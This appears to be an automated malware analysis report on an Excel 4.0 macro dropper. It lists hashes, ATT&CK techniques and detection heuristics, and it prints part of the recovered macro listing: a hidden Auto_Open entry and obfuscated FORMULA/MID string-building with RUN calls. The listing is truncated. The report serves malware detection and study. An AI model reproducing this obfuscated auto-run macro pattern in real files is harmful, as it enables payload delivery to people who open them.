Xls.Dropper.Agent-7901393-0 — Office (OLE) malware analysis

Static analysis result for SHA-256 878049003bab3ce4…

MALICIOUS

Office (OLE)

187.5 KB Created: 2020-05-25 08:49:57 Authoring application: Microsoft Excel First seen: 2020-07-24
MD5: 50f6da1abafa3a2b71c8e0d043ccc16d SHA-1: ab8b5af50e7e2c8343366f55db6a769e9c2de079 SHA-256: 878049003bab3ce495360c791bf356f4340050c55fd29fcb8dcdd6ec85feb37e
200 Risk Score

Malware Insights

Xls.Dropper.Agent-7901393-0 · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

This Excel file contains Excel 4.0 macros, specifically an Auto_Open macro, which is a known technique for executing malicious code upon opening. The macros utilize dangerous functions like RUN, indicating an intent to download and execute a secondary payload. The ClamAV signature further confirms its malicious nature as a dropper.

Heuristics 4

  • ClamAV: Xls.Dropper.Agent-7901393-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Dropper.Agent-7901393-0
  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 55248 bytes
SHA-256: 50d2fef4bbf5cb3a21187368f405ffe6acab67cfda8bee3bb17549e888c36f54
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     38 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  YZFpAcFicdu3D3P8Jrs8aIGzWU0aM
' 0018     28 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open hidden len=7 ptgRef3d  Sheet!CJ29087 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' Sheet,Reference,Formula,Value
'  YZFpAcFicdu3D3P8Jrs8aIGzWU0aM,BU593,"FORMULA("EFGHIJKLMNOPQRSTUVW",HA42389)",""
'  YZFpAcFicdu3D3P8Jrs8aIGzWU0aM,BU594,RUN(EM3666),""
'  YZFpAcFicdu3D3P8Jrs8aIGzWU0aM,DM1058,"FORMULA(MID(CT49746,12,1)&MID(HA42389,5,1)&MID(HA42389,2,1)&MID(GU31294,9,1)&MID(HA42389,3,1)&MID(HA42389,1,1)&MID(HA42389,16,1)&MID(GU31294,15,1)&MID(HA42389,19,1)&MID(HA42389,11,1)&MID(HA42389,14,1)&MID(HA42389,7,1)&MID(HA42389,15,1)&MID(HA42389,12,1)&MID(CT49746,16,1)&MID(CT49746,18,1)&MID(HA42389,1,1)&MID(GU31294,9,1)&MID(CT49746,2,1)&MID(GU31294,18,1)&MID(GU31294,10,1)&MID(GU31294,13,1)&MID(HA42389,3,1)&MID(HA42389,11,1)&MID(HA42389,16,1)&MID(HA42389,11,1)&MID(GU31294,9,1)&MID(HA42389,14,1)&MID(CN55829,4,1)&MID(CT49746,4,1)&MID(CT49746,7,1)&MID(CT49746,7,1)&MID(GU31294,17,1)&MID(CT49746,3,1)&MID(CN55829,6,1)&MID(CT49746,18,1)&MID(CN55829,4,1)&MID(GU31294,14,1)&MID(CT49746,2,1)&MID(CT49746,3,1)&MID(CN55829,6,1)&MID(GU31294,10,1)&MID(GU31294,13,1)&MID(GU31294,10,1),DM1059)",""
'  YZFpAcFicdu3D3P8Jrs8aIGzWU0aM,DM1060,RUN(Z59307),""
'  YZFpAcFicdu3D3P8Jrs8aIGzWU0aM,IU1097,GOTO(O63703),""
'  YZFpAcFicdu3D3P8Jrs8aIGzWU0aM,EM3666,"FORMULA("XYZ[\]^_`abcdefghij",CN55829)",""
'  YZFpAcFicdu3D3P8Jrs8aIGzWU0aM,EM3667,GOTO(EQ12899),""
'  YZFpAcFicdu3D3P8Jrs8aIGzWU0aM,CJ3762,"FORMULA(MID(JK40599,12,1)&MID(ES30365,2,1)&MID(ES30365,15,1)&MID(ES30365,5,1)&MID(IZ2977,3,1)&MID(ES30365,1,1)&MID(EM51151,9,1)&MID(ES30365,14,1)&MID(IZ2977,4,1)&MID(EM51151,18,1)&MID(JK40599,3,1)&MID(JK40599,2,1)&MID(JK40599,4,1)&MID(EM51151,18,1)&MID(IZ2977,6,1)&MID(JK40599,18,1)&MID(IZ2977,4,1)&MID(JK40599,7,1)&MID(JK40599,2,1)&MID(IZ2977,6,1)&MID(EM51151,10,1),FL33749)",""
'  YZFpAcFicdu3D3P8Jrs8aIGzWU0aM,CJ3763,RUN(BV33749),""
'  YZFpAcFicdu3D3P8Jrs8aIGzWU0aM,GH6881,"FORMULA(MID(JK40599,12,1)&MID(ES30365,2,1)&MID(ES30365,15,1)&MID(ES30365,5,1)&MID(IZ2977,3,1)&MID(ES30365,1,1)&MID(EM51151,9,1)&MID(ES30365,14,1)&MID(IZ2977,4,1)&MID(EM51151,18,1)&MID(JK40599,2,1)&MID(JK40599,1,1)&MID(EM51151,18,1)&MID(EM51151,18,1)&MID(IZ2977,6,1)&MID(JK40599,18,1)&MID(IZ2977,4,1)&MID(EM51151,18,1)&MID(JK40599,3,1)&MID(JK40599,3,1)&MID(IZ2977,6,1)&MID(EM51151,10,1),DF44181)",""
'  YZFpAcFicdu3D3P8Jrs8aIGzWU0aM,GH6882,RUN(DS10712),""
'  YZFpAcFicdu3D3P8Jrs8aIGzWU0aM,F7441,"FORMULA(MID(CT49746,12,1)&MID(HA42389,2,1)&MID(HA42389,5,1)&MID(HA42389,8,1)&MID(HA42389,1,1)&MID(GU31294,15,1)&MID(CT49746,19,1)&MID(HA42389,1,1)&MID(HA42389,8,1)&MID(HA42389,1,1)&MID(HA42389,16,1)&MID(HA42389,1,1)&MID(GU31294,9,1)&MID(HA42389,14,1)&MID(CN55829,4,1)&MID(CT49746,4,1)&MID(CT49746,1,1)&MID(CT49746,8,1)&MID(GU31294,17,1)&MID(CN55829,6,1)&MID(CT49746,18,1)&MID(CN55829,4,1)&MID(GU31294,18,1)&MID(CT49746,4,1)&MID(CT49746,8,1)&MID(CN55829,6,1)&MID(GU31294,10,1),F7442)",""
'  YZFpAcFicdu3D3P8Jrs8aIGzWU0aM,F7443,RUN(FA63411),""
'  YZFpAcFicdu3D3P8Jrs8aIGzWU0aM,K7701,"FORMULA(MID(CT49746,12,1)&MID(HA42389,5,1)&MID(HA42389,2,1)&MID(GU31294,9,1)&MID(HA42389,5,1)&MID(HA42389,15,1)&MID(HA42389,1,1)&MID(HA42389,14,1)&MID(HA42389,14,1)&MID(HA42389,11,1)&MID(HA42389,14,1)&MID(GU31294,9,1)&MID(HA42389,14,1)&MID(CN55829,4,1)&MID(CT49746,6,1)&MID(CT49746,7,1)&MID(CT49746,6,1)&MID(CT49746,4,1)&MID(CN55829,6,1)&MID(CT49746,18,1)&MID(CN55829,4,1)&MID(GU31294,18,1)&MID(CT49746,5,1)&MID(CT49746,4,1)&MID(CN55829,6,1)&MID(GU31294,10,1)&MID(GU31294,13,1)&MID(HA42389,3,1)&MID(HA42389,11,1)&MID(HA42389,16,1)&MID(HA42389,11,1)&MID(GU31294,9,1)&MID(HA42389,14,1)&MID(CN55829,4,1)&MID(CT49746,4,1)&MID(CT49746,1,1)&MID(GU31294,18,1)&MID(CT49746,5,1)&MID(GU31294,18,1)&MID(CN55829,6,1)&MID(CT49746,18,1)&MID(CN55829,4,1)&MID(CT49746,3,1)&MID(CT497
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.